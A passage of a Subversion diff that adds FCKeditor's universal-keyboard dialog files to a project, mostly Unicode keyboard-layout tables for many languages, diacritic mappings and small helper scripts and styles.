+	document.body.style.padding = '0px' ;
+
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	window.parent.SetOkButton( true ) ;
+	window.parent.SetAutoSize( true ) ;	
+}
+
+function Ok()
+{
+	var oArea = document.getElementById( 'uni_area' ) ;
+
+	if ( oArea.value.length > 0 )
+		oEditor.FCK.InsertHtml( oArea.value ) ;
+
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style="OVERFLOW: hidden" scroll="no">
+		<textarea id="uni_area" cols="40" rows="4" style="width:100%;height:60px;"></textarea>
+		<script type="text/javascript" src="fck_universalkey/data.js"></script>
+		<script type="text/javascript" src="fck_universalkey/diacritic.js"></script>
+		<script type="text/javascript" src="fck_universalkey/dialogue.js"></script>
+		<script type="text/javascript" src="fck_universalkey/multihexa.js"></script>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/data.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/data.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/data.js	(revision 44)
@@ -0,0 +1,73 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: data.js
+ * 	Scripts for the fck_universalkey.html page.
+ * 	Definition des 104 caracteres en hexa unicode.
+ * 
+ * File Authors:
+ * 		Michel Staelens (michel.staelens@wanadoo.fr)
+ * 		Abdul-Aziz Al-Oraij (top7up@hotmail.com)
+ * 		Bo Brandt (bbr@dynamicweb.dk)
+ */
+
+var Maj = new Array() ;
+var Min = new Array() ;
+
+Maj["Arabic"]				="0651|0021|0040|0023|0024|0025|005E|0026|002A|0029|0028|005F|002B|064E|064B|064F|064C|0625|0625|2018|00F7|00D7|061B|003C|003E|0650|064D|005D|005B|0623|0623|0640|060C|002F|003A|0022|007E|0652|007D|007B|0622|0622|2019|002C|002E|061F|007C|0020|0020|0020|0020|0020" ;
+Min["Arabic"]				="0630|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|0636|0635|062B|0642|0641|063A|0639|0647|062E|062D|062C|062F|0634|0633|064A|0628|0644|0627|062A|0646|0645|0643|0637|0626|0621|0624|0631|0644|0627|0649|0629|0648|0632|0638|005C|0020|0020|0020|0020" ;
+Maj["Belarusian (C)"]		="0401|0021|0022|2116|003B|0025|003A|003F|002A|0028|0029|005F|002B|0419|0426|0423|041A|0415|041D|0413|0428|040E|0417|0425|0027|0424|042B|0412|0410|041F|0420|041E|041B|0414|0416|042D|042F|0427|0421|041C|0406|0422|042C|0411|042E|002C|0020|0020|0020|0020|0020|0020" ;
+Min["Belarusian (C)"]		="0451|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|0439|0446|0443|043A|0435|043D|0433|0448|045E|0437|0445|0027|0444|044B|0432|0430|043F|0440|043E|043B|0434|0436|044D|044F|0447|0441|043C|0456|0442|044C|0431|044E|002E|0020|0020|0020|0020|0020|0020" ;
+Maj["Bulgarian (C)"]		="007E|0021|003F|002B|0022|0025|003D|003A|002F|005F|2116|0406|0056|044B|0423|0415|0418|0428|0429|041A|0421|0414|0417|0426|00A7|042C|042F|0410|041E|0416|0413|0422|041D|0412|041C|0427|042E|0419|042A|042D|0424|0425|041F|0420|041B|0411|0029|0020|0020|0020|0020|0020" ;
+Min["Bulgarian (C)"]		="0060|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|002E|002C|0443|0435|0438|0448|0449|043A|0441|0434|0437|0446|003B|044C|044F|0430|043E|0436|0433|0442|043D|0432|043C|0447|044E|0439|044A|044D|0444|0445|043F|0440|043B|0431|0028|0020|0020|0020|0020|0020" ;
+Maj["Croatian (L)"]			="00B8|0021|0022|0023|0024|0025|0026|002F|0028|0029|003D|003F|00A8|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|0160|0110|0041|0053|0044|0046|0047|0048|004A|004B|004C|010C|0106|0059|0058|0043|0056|0042|004E|004D|017D|003B|003A|003C|003E|005F|002D|002A|002B" ;
+Min["Croatian (L)"]			="00B8|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0027|00A8|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|0161|0111|0061|0073|0064|0066|0067|0068|006A|006B|006C|010D|0107|0079|0078|0063|0076|0062|006E|006D|017E|002C|002E|003C|003E|005F|002D|002A|002B" ;
+Maj["Czech (L)"]			="00B0|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0025|02C7|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|002F|0028|0041|0053|0044|0046|0047|0048|004A|004B|004C|0022|0027|0059|0058|0043|0056|0042|004E|004D|003F|003A|005F|005B|007B|0021|0020|0148|010F" ;
+Min["Czech (L)"]			="003B|002B|011B|0161|010D|0159|017E|00FD|00E1|00ED|00E9|003D|00B4|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|00FA|0029|0061|0073|0064|0066|0067|0068|006A|006B|006C|016F|00A7|0079|0078|0063|0076|0062|006E|006D|002C|002E|002D|005D|007D|00A8|0040|00F3|0165" ;
+Maj["Danish (L)"]			="00A7|0021|0022|0023|00A4|0025|0026|002F|0028|0029|003D|003F|0060|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|00C5|005E|0041|0053|0044|0046|0047|0048|004A|004B|004C|00C6|00D8|003E|005A|0058|0043|0056|0042|004E|004D|003B|003A|002A|005F|007B|007D|005C|007E" ;
+Min["Danish (L)"]			="00BD|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002B|00B4|0071|0077|0065|0072|0074|0079|0075|0069|006F|0070|00E5|00A8|0061|0073|0064|0066|0067|0068|006A|006B|006C|00E6|00F8|003C|007A|0078|0063|0076|0062|006E|006D|002C|002E|0027|002D|005B|005D|007C|0040" ;
+Maj["Diacritical (L)"]		="0060|00B4|005E|00A8|007E|00B0|00B7|00B8|00AF|02D9|02DB|02C7|02D8|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|00C6|02DD|0041|0053|0044|0046|0047|0048|004A|004B|004C|0141|0152|0059|0058|0043|0056|0042|004E|004D|01A0|01AF|00D8|0126|0110|0132|00DE|00D0|00DF" ;
+Min["Diacritical (L)"]		="0060|00B4|005E|00A8|007E|00B0|00B7|00B8|00AF|02D9|02DB|02C7|02D8|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|00E6|02DD|0061|0073|0064|0066|0067|0068|006A|006B|006C|0142|0153|0079|0078|0063|0076|0062|006E|006D|01A1|01B0|00F8|0127|0111|0133|00FE|00F0|00DF" ;
+Maj["Finnish (L)"]			="00A7|0021|0022|0023|00A4|0025|0026|002F|0028|0029|003D|003F|0060|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|00C5|005E|0041|0053|0044|0046|0047|0048|004A|004B|004C|00D6|00C4|003E|005A|0058|0043|0056|0042|004E|004D|003B|003A|002A|005F|007B|007D|005C|007E" ;
+Min["Finnish (L)"]			="00BD|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002B|00B4|0071|0077|0065|0072|0074|0079|0075|0069|006F|0070|00E5|00A8|0061|0073|0064|0066|0067|0068|006A|006B|006C|00F6|00E4|003C|007A|0078|0063|0076|0062|006E|006D|002C|002E|0027|002D|005B|005D|007C|0040" ;
+Maj["French (L)"]			="0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|00B0|002B|0023|0041|005A|0045|0052|0054|0059|0055|0049|004F|0050|00A8|0025|0051|0053|0044|0046|0047|0048|004A|004B|004C|004D|00B5|0057|0058|0043|0056|0042|004E|003F|002E|002F|00A7|003C|005B|007B|00A3|007E|0020" ;
+Min["French (L)"]			="0026|00E9|0022|0027|0028|002D|00E8|005F|00E7|00E0|0029|003D|0040|0061|007A|0065|0072|0074|0079|0075|0069|006F|0070|005E|00F9|0071|0073|0064|0066|0067|0068|006A|006B|006C|006D|002A|0077|0078|0063|0076|0062|006E|002C|003B|003A|0021|003E|005D|007D|0024|007E|0020" ;
+Maj["Greek"]				="007E|0021|0040|0023|0024|0025|0390|0026|03B0|0028|0029|005F|002B|003A|03A3|0395|03A1|03A4|03A5|0398|0399|039F|03A0|0386|038F|0391|03A3|0394|03A6|0393|0397|039E|039A|039B|038C|0022|0396|03A7|03A8|03A9|0392|039D|039C|003C|003E|003F|0388|0389|038A|03AA|03AB|038E" ;
+Min["Greek"]				="0060|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|003B|03C2|03B5|03C1|03C4|03C5|03B8|03B9|03BF|03C0|03AC|03CE|03B1|03C3|03B4|03C6|03B3|03B7|03BE|03BA|03BB|03CC|0027|03B6|03C7|03C8|03C9|03B2|03BD|03BC|002C|002E|002F|03AD|03AE|03AF|03CA|03CB|03CD" ;
+Maj["Hebrew"]				="007E|0021|0040|0023|0024|0025|005E|0026|002A|0028|0029|005F|002B|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|007B|007D|0041|0053|0044|0046|0047|0048|004A|004B|004C|003A|0022|005A|0058|0043|0056|0042|004E|004D|003C|003E|003F|0020|0020|0020|0020|0020|0020" ;
+Min["Hebrew"]				="0060|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|002F|0027|05E7|05E8|05D0|05D8|05D5|05DF|05DD|05E4|005B|005D|05E9|05D3|05D2|05DB|05E2|05D9|05D7|05DC|05DA|05E3|002C|05D6|05E1|05D1|05D4|05E0|05DE|05E6|05EA|05E5|002E|0020|0020|0020|0020|0020|0020" ;
+Maj["Hungarian (L)"]		="00A7|0027|0022|002B|0021|0025|002F|003D|0028|0029|00ED|00DC|00D3|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|0150|00DA|0041|0053|0044|0046|0047|0048|004A|004B|004C|00C9|00C1|0170|00CD|0059|0058|0043|0056|0042|004E|004D|003F|002E|003A|002D|005F|007B|007D" ;
+Min["Hungarian (L)"]		="0030|0031|0032|0033|0034|0035|0036|0037|0038|0039|00F6|00FC|00F3|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|0151|00FA|0061|0073|0064|0066|0067|0068|006A|006B|006C|00E9|00E1|0171|00ED|0079|0078|0063|0076|0062|006E|006D|002C|002E|003A|002D|005F|007B|007D" ;
+Maj["Macedonian (C)"]		="007E|0021|201E|201C|2019|0025|2018|0026|002A|0028|0029|005F|002B|0409|040A|0415|0420|0422|0405|0423|0418|041E|041F|0428|0403|0410|0421|0414|0424|0413|0425|0408|041A|041B|0427|040C|0401|0417|040F|0426|0412|0411|041D|041C|0416|003B|003A|003F|002A|005F|007B|007D" ;
+Min["Macedonian (C)"]		="0060|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|0459|045A|0435|0440|0442|0455|0443|0438|043E|043F|0448|0453|0430|0441|0434|0444|0433|0445|0458|043A|043B|0447|045C|0451|0437|045F|0446|0432|0431|043D|043C|0436|002C|002E|002F|0027|002D|005B|005D" ;
+Maj["Norwegian (L)"]		="00A7|0021|0022|0023|00A4|0025|0026|002F|0028|0029|003D|003F|0060|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|00C5|005E|0041|0053|0044|0046|0047|0048|004A|004B|00D8|00C6|00C4|003E|005A|0058|0043|0056|0042|004E|004D|003B|003A|002A|005F|007B|007D|005C|007E" ;
+Min["Norwegian (L)"]		="00BD|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002B|00B4|0071|0077|0065|0072|0074|0079|0075|0069|006F|0070|00E5|00A8|0061|0073|0064|0066|0067|0068|006A|006B|00F8|00E6|00E4|003C|007A|0078|0063|0076|0062|006E|006D|002C|002E|0027|002D|005B|005D|007C|0040" ;
+Maj["Persian"]				="200D|0021|066C|066B|FDFC|066A|00D7|060C|002A|0029|0028|0640|002B|0652|064C|064D|064B|064F|0650|064E|0651|005D|005B|007D|007B|0624|0626|064A|0625|0623|0622|0629|00BB|00AB|003A|061B|0643|0020|0698|0670|200C|0654|0621|003E|003C|061F|007C|0020|0020|0020|0020|0020" ;
+Min["Persian"]				="200D|06F1|06F2|06F3|06F4|06F5|06F6|06F7|06F8|06F9|06F0|002D|003D|0636|0635|062B|0642|0641|063A|0639|0647|062E|062D|062C|0686|0634|0633|06CC|0628|0644|0627|062A|0646|0645|06A9|06AF|0638|0637|0632|0631|0630|062F|067E|0648|002E|002F|005C|0020|0020|0020|0020|0020" ;
+Maj["Polish (L)"]			="002A|0021|0022|0023|00A4|0025|0026|002F|0028|0029|003D|003F|017A|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|0144|0107|0041|0053|0044|0046|0047|0048|004A|004B|004C|0141|0119|0059|0058|0043|0056|0042|004E|004D|003B|003A|005F|003C|005B|007B|02D9|00B4|02DB" ;
+Min["Polish (L)"]			="0027|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002B|00F3|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|017C|015B|0061|0073|0064|0066|0067|0068|006A|006B|006C|0142|0105|0079|0078|0063|0076|0062|006E|006D|002C|002E|002D|003E|005D|007D|02D9|00B4|02DB" ;
+Maj["Portuguese (L)"]		="007C|0021|0022|0023|0024|0025|0026|002F|0028|0029|003D|003F|00BB|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|002A|0060|0041|0053|0044|0046|0047|0048|004A|004B|004C|00C7|00AA|003E|005A|0058|0043|0056|0042|004E|004D|003B|003A|005E|007B|007D|00A7|20AC|005F" ;
+Min["Portuguese (L)"]		="005C|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0027|00AB|0071|0077|0065|0072|0074|0079|0075|0069|006F|0070|002B|00B4|0061|0073|0064|0066|0067|0068|006A|006B|006C|00E7|00BA|003C|007A|0078|0063|0076|0062|006E|006D|002C|002E|007E|005B|005D|00A8|0040|002D" ;
+Maj["Russian (C)"]			="0401|0021|0040|0023|2116|0025|005E|0026|002A|0028|0029|005F|002B|0419|0426|0423|041A|0415|041D|0413|0428|0429|0417|0425|042A|0424|042B|0412|0410|041F|0420|041E|041B|0414|0416|042D|042F|0427|0421|041C|0418|0422|042C|0411|042E|003E|002E|003A|0022|005B|005D|003F" ;
+Min["Russian (C)"]			="0451|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|0439|0446|0443|043A|0435|043D|0433|0448|0449|0437|0445|044A|0444|044B|0432|0430|043F|0440|043E|043B|0434|0436|044D|044F|0447|0441|043C|0438|0442|044C|0431|044E|003C|002C|003B|0027|007B|007D|002F" ;
+Maj["Serbian (C)"]			="007E|0021|0022|0023|0024|0025|0026|002F|0028|0029|003D|003F|002A|0409|040A|0415|0420|0422|0417|0423|0418|041E|041F|0428|0402|0410|0421|0414|0424|0413|0425|0408|041A|041B|0427|040B|003E|0405|040F|0426|0412|0411|041D|041C|0416|003A|005F|002E|003A|0022|005B|005D" ;
+Min["Serbian (C)"]			="0060|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0027|002B|0459|045A|0435|0440|0442|0437|0443|0438|043E|043F|0448|0452|0430|0441|0434|0444|0433|0445|0458|043A|043B|0447|045B|003C|0455|045F|0446|0432|0431|043D|043C|0436|002E|002D|002C|003B|0027|007B|007D" ;
+Maj["Serbian (L)"]			="007E|0021|0022|0023|0024|0025|0026|002F|0028|0029|003D|003F|002A|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|0160|0110|0041|0053|0044|0046|0047|0048|004A|004B|004C|010C|0106|003E|0059|0058|0043|0056|0042|004E|004D|017D|003A|005F|002E|003A|0022|005B|005D" ;
+Min["Serbian (L)"]			="201A|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0027|002B|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|0161|0111|0061|0073|0064|0066|0067|0068|006A|006B|006C|010D|0107|003C|0079|0078|0063|0076|0062|006E|006D|017E|002E|002D|002C|003B|0027|007B|007D" ;
+Maj["Slovak (L)"]			="00B0|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0025|02C7|0051|0057|0045|0052|0054|005A|0055|0049|004F|0050|002F|0028|0041|0053|0044|0046|0047|0048|004A|004B|004C|0022|0021|0059|0058|0043|0056|0042|004E|004D|003F|003A|005F|003C|005B|010F|0029|002A|0020" ;
+Min["Slovak (L)"]			="003B|002B|013E|0161|010D|0165|017E|00FD|00E1|00ED|00E9|003D|00B4|0071|0077|0065|0072|0074|007A|0075|0069|006F|0070|00FA|00E4|0061|0073|0064|0066|0067|0068|006A|006B|006C|00F4|00A7|0079|0078|0063|0076|0062|006E|006D|002C|002E|002D|003E|005D|00F3|0148|0026|0020" ;
+Maj["Spanish (L)"]			="00AA|0021|0022|00B7|0024|0025|0026|002F|0028|0029|003D|003F|00BF|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|005E|00A8|0041|0053|0044|0046|0047|0048|004A|004B|004C|00D1|00C7|005A|0058|0043|0056|0042|004E|004D|003B|003A|005F|003E|007C|0040|0023|007E|002A" ;
+Min["Spanish (L)"]			="00BA|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|0027|00A1|0071|0077|0065|0072|0074|0079|0075|0069|006F|0070|0060|00B4|0061|0073|0064|0066|0067|0068|006A|006B|006C|00F1|00E7|007A|0078|0063|0076|0062|006E|006D|002C|002E|002D|003C|005C|0040|0023|007E|002B" ;
+Maj["Ukrainian (C)"]		="0401|0021|0040|0023|2116|0025|005E|0026|002A|0028|0029|005F|002B|0419|0426|0423|041A|0415|041D|0413|0428|0429|0417|0425|0407|0424|0406|0412|0410|041F|0420|041E|041B|0414|0416|0404|0490|042F|0427|0421|041C|0418|0422|042C|0411|042E|002E|003A|0022|003C|003E|003F" ;
+Min["Ukrainian (C)"]		="0451|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|0439|0446|0443|043A|0435|043D|0433|0448|0449|0437|0445|0457|0444|0456|0432|0430|043F|0440|043E|043B|0434|0436|0454|0491|044F|0447|0441|043C|0438|0442|044C|0431|044E|002C|003B|0027|007B|007D|002F" ;
+Maj["Vietnamese (L)"]		="007E|0021|0040|0023|0024|0025|005E|0026|002A|0028|0029|005F|002B|0051|0057|0045|0052|0054|0059|0055|0049|004F|0050|01AF|01A0|0041|0053|0044|0046|0047|0048|004A|004B|004C|0102|00C2|005A|0058|0043|0056|0042|004E|004D|00CA|00D4|0110|003C|003E|003F|007D|003A|0022" ;
+Min["Vietnamese (L)"]		="20AB|0031|0032|0033|0034|0035|0036|0037|0038|0039|0030|002D|003D|0071|0077|0065|0072|0074|0079|0075|0069|006F|0070|01B0|01A1|0061|0073|0064|0066|0067|0068|006A|006B|006C|0103|00E2|007A|0078|0063|0076|0062|006E|006D|00EA|00F4|0111|002C|002E|002F|007B|003B|0027" ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/diacritic.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/diacritic.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/diacritic.js	(revision 44)
@@ -0,0 +1,65 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: diacritic.js
+ * 	Scripts for the fck_universalkey.html page.
+ * 
+ * File Authors:
+ * 		Michel Staelens (michel.staelens@wanadoo.fr)
+ * 		Abdul-Aziz Al-Oraij (top7up@hotmail.com)
+ */
+
+var dia = new Array()
+
+dia["0060"]=new Array();dia["00B4"]=new Array();dia["005E"]=new Array();dia["00A8"]=new Array();dia["007E"]=new Array();dia["00B0"]=new Array();dia["00B7"]=new Array();dia["00B8"]=new Array();dia["00AF"]=new Array();dia["02D9"]=new Array();dia["02DB"]=new Array();dia["02C7"]=new Array();dia["02D8"]=new Array();dia["02DD"]=new Array();dia["031B"]=new Array();
+dia["0060"]["0061"]="00E0";dia["00B4"]["0061"]="00E1";dia["005E"]["0061"]="00E2";dia["00A8"]["0061"]="00E4";dia["007E"]["0061"]="00E3";dia["00B0"]["0061"]="00E5";dia["00AF"]["0061"]="0101";dia["02DB"]["0061"]="0105";dia["02D8"]["0061"]="0103";
+dia["00B4"]["0063"]="0107";dia["005E"]["0063"]="0109";dia["00B8"]["0063"]="00E7";dia["02D9"]["0063"]="010B";dia["02C7"]["0063"]="010D";
+dia["02C7"]["0064"]="010F";
+dia["0060"]["0065"]="00E8";dia["00B4"]["0065"]="00E9";dia["005E"]["0065"]="00EA";dia["00A8"]["0065"]="00EB";dia["00AF"]["0065"]="0113";dia["02D9"]["0065"]="0117";dia["02DB"]["0065"]="0119";dia["02C7"]["0065"]="011B";dia["02D8"]["0065"]="0115";
+dia["005E"]["0067"]="011D";dia["00B8"]["0067"]="0123";dia["02D9"]["0067"]="0121";dia["02D8"]["0067"]="011F";
+dia["005E"]["0068"]="0125";
+dia["0060"]["0069"]="00EC";dia["00B4"]["0069"]="00ED";dia["005E"]["0069"]="00EE";dia["00A8"]["0069"]="00EF";dia["007E"]["0069"]="0129";dia["00AF"]["0069"]="012B";dia["02DB"]["0069"]="012F";dia["02D8"]["0069"]="012D";
+dia["005E"]["006A"]="0135";
+dia["00B8"]["006B"]="0137";
+dia["00B4"]["006C"]="013A";dia["00B7"]["006C"]="0140";dia["00B8"]["006C"]="013C";dia["02C7"]["006C"]="013E";
+dia["00B4"]["006E"]="0144";dia["007E"]["006E"]="00F1";dia["00B8"]["006E"]="0146";dia["02D8"]["006E"]="0148";
+dia["0060"]["006F"]="00F2";dia["00B4"]["006F"]="00F3";dia["005E"]["006F"]="00F4";dia["00A8"]["006F"]="00F6";dia["007E"]["006F"]="00F5";dia["00AF"]["006F"]="014D";dia["02D8"]["006F"]="014F";dia["02DD"]["006F"]="0151";dia["031B"]["006F"]="01A1";
+dia["00B4"]["0072"]="0155";dia["00B8"]["0072"]="0157";dia["02C7"]["0072"]="0159";
+dia["00B4"]["0073"]="015B";dia["005E"]["0073"]="015D";dia["00B8"]["0073"]="015F";dia["02C7"]["0073"]="0161";
+dia["00B8"]["0074"]="0163";dia["02C7"]["0074"]="0165";
+dia["0060"]["0075"]="00F9";dia["00B4"]["0075"]="00FA";dia["005E"]["0075"]="00FB";dia["00A8"]["0075"]="00FC";dia["007E"]["0075"]="0169";dia["00B0"]["0075"]="016F";dia["00AF"]["0075"]="016B";dia["02DB"]["0075"]="0173";dia["02D8"]["0075"]="016D";dia["02DD"]["0075"]="0171";dia["031B"]["0075"]="01B0";
+dia["005E"]["0077"]="0175";
+dia["00B4"]["0079"]="00FD";dia["005E"]["0079"]="0177";dia["00A8"]["0079"]="00FF";
+dia["00B4"]["007A"]="017A";dia["02D9"]["007A"]="017C";dia["02C7"]["007A"]="017E";
+dia["00B4"]["00E6"]="01FD";
+dia["00B4"]["00F8"]="01FF";
+dia["0060"]["0041"]="00C0";dia["00B4"]["0041"]="00C1";dia["005E"]["0041"]="00C2";dia["00A8"]["0041"]="00C4";dia["007E"]["0041"]="00C3";dia["00B0"]["0041"]="00C5";dia["00AF"]["0041"]="0100";dia["02DB"]["0041"]="0104";dia["02D8"]["0041"]="0102";
+dia["00B4"]["0043"]="0106";dia["005E"]["0043"]="0108";dia["00B8"]["0043"]="00C7";dia["02D9"]["0043"]="010A";dia["02C7"]["0043"]="010C";
+dia["02C7"]["0044"]="010E";
+dia["0060"]["0045"]="00C8";dia["00B4"]["0045"]="00C9";dia["005E"]["0045"]="00CA";dia["00A8"]["0045"]="00CB";dia["00AF"]["0045"]="0112";dia["02D9"]["0045"]="0116";dia["02DB"]["0045"]="0118";dia["02C7"]["0045"]="011A";dia["02D8"]["0045"]="0114";
+dia["005E"]["0047"]="011C";dia["00B8"]["0047"]="0122";dia["02D9"]["0047"]="0120";dia["02D8"]["0047"]="011E";
+dia["005E"]["0048"]="0124";
+dia["0060"]["0049"]="00CC";dia["00B4"]["0049"]="00CD";dia["005E"]["0049"]="00CE";dia["00A8"]["0049"]="00CF";dia["007E"]["0049"]="0128";dia["00AF"]["0049"]="012A";dia["02D9"]["0049"]="0130";dia["02DB"]["0049"]="012E";dia["02D8"]["0049"]="012C";
+dia["005E"]["004A"]="0134";
+dia["00B8"]["004B"]="0136";
+dia["00B4"]["004C"]="0139";dia["00B7"]["004C"]="013F";dia["00B8"]["004C"]="013B";dia["02C7"]["004C"]="013D";
+dia["00B4"]["004E"]="0143";dia["007E"]["004E"]="00D1";dia["00B8"]["004E"]="0145";dia["02D8"]["004E"]="0147";
+dia["0060"]["004F"]="00D2";dia["00B4"]["004F"]="00D3";dia["005E"]["004F"]="00D4";dia["00A8"]["004F"]="00D6";dia["007E"]["004F"]="00D5";dia["00AF"]["004F"]="014C";dia["02D8"]["004F"]="014E";dia["02DD"]["004F"]="0150";dia["031B"]["004F"]="01A0";
+dia["00B4"]["0052"]="0154";dia["00B8"]["0052"]="0156";dia["02C7"]["0052"]="0158";
+dia["00B4"]["0053"]="015A";dia["005E"]["0053"]="015C";dia["00B8"]["0053"]="015E";dia["02C7"]["0053"]="0160";
+dia["00B8"]["0054"]="0162";dia["02C7"]["0054"]="0164";
+dia["0060"]["0055"]="00D9";dia["00B4"]["0055"]="00DA";dia["005E"]["0055"]="00DB";dia["00A8"]["0055"]="00DC";dia["007E"]["0055"]="0168";dia["00B0"]["0055"]="016E";dia["00AF"]["0055"]="016A";dia["02DB"]["0055"]="0172";dia["02D8"]["0055"]="016C";dia["02DD"]["0055"]="0170";dia["031B"]["0055"]="01AF";
+dia["005E"]["0057"]="0174";
+dia["00B4"]["0059"]="00DD";dia["005E"]["0059"]="0176";dia["00A8"]["0059"]="0178";
+dia["00B4"]["005A"]="0179";dia["02D9"]["005A"]="017B";dia["02C7"]["005A"]="017D";
+dia["00B4"]["00C6"]="01FC";
+dia["00B4"]["00D8"]="01FE";
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/dialogue.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/dialogue.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/dialogue.js	(revision 44)
@@ -0,0 +1,31 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: dialogue.js
+ * 	Scripts for the fck_universalkey.html page.
+ * 
+ * File Authors:
+ * 		Michel Staelens (michel.staelens@wanadoo.fr)
+ * 		Bernadette Cierzniak
+ * 		Abdul-Aziz Al-Oraij (top7up@hotmail.com)
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function afficher(txt)
+{
+	document.getElementById( 'uni_area' ).value = txt ;
+}
+
+function rechercher()
+{
+	return document.getElementById( 'uni_area' ).value ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/fck_universalkey.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/fck_universalkey.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/fck_universalkey.css	(revision 44)
@@ -0,0 +1,62 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_universalkey.css
+ * 	CSS styles for the Universal Keyboard.
+ * 
+ * File Authors:
+ * 		Michel Staelens (michel.staelens@wanadoo.fr)
+ * 		Bernadette Cierzniak
+ * 		Abdul-Aziz Al-Oraij (top7up@hotmail.com)
+ */
+
+BODY, TEXTAREA, INPUT, TD, SELECT
+{
+	font-family: Tahoma,verdana,arial,sans-serif;
+}
+DIV
+{
+	position: absolute;
+}
+.simple
+{
+	font-size: 11pt;
+}
+.double
+{
+	font-size: 9pt;
+}
+.simpledia
+{
+	color: red;
+	font-size: 11pt;
+}
+.doubledia
+{
+	color: red;
+	font-size: 9pt;
+}
+.action
+{
+	color: white;
+	font-size: 7pt;
+}
+.clavier
+{
+	color: blue;
+	font-size: 7pt;
+}
+.sign
+{
+	color: gray;
+	font-size: 7pt;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/multihexa.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/multihexa.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_universalkey/multihexa.js	(revision 44)
@@ -0,0 +1,309 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
